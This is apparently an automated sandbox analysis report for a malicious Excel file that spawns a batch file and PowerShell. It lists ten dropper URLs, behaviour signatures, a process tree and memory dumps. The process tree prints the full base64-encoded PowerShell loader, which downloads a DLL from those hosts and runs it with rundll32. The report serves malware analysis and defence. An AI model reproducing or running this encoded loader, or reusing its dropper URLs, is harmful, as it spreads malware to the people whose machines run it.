Analysis

  • max time kernel
    121s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    25/01/2022, 15:59

General

  • Target
    tmpykzz4uf6.xls
  • Size 144KB
  • Sample220125-te4t8safe7
  • SHA256 de01bf8d43aa0cfae4320ceca546a8e17b8bc2cad5188fb0fa947186f2ce1dc4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/

  • exe.dropper

    http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/

  • exe.dropper

    http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/

  • exe.dropper

    http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/

  • exe.dropper

    http://bimesarayenovin.ir/wp-admin/z464/

  • exe.dropper

    http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/

  • exe.dropper

    http://gardeningfilm.com/wp-content/Ef/

  • exe.dropper

    http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/

  • exe.dropper

    https://100lamp.com.ua:443/sale/a/

  • exe.dropper

    http://queenofluv.com/uemsub/peLSdHCvfhkge/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpykzz4uf6.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\programdata\uylcsekn.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:680
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1188

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1188-62-0x0000000002490000-0x00000000030DA000-memory.dmp

        memory/1188-63-0x0000000002490000-0x00000000030DA000-memory.dmp

        memory/1488-55-0x000000002F811000-0x000000002F814000-memory.dmp

        memory/1488-56-0x0000000071B61000-0x0000000071B63000-memory.dmp

        memory/1488-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1488-58-0x0000000076851000-0x0000000076853000-memory.dmp

        memory/1488-59-0x00000000056D0000-0x00000000057E0000-memory.dmp

        memory/1488-64-0x000000005FFF0000-0x0000000060000000-memory.dmp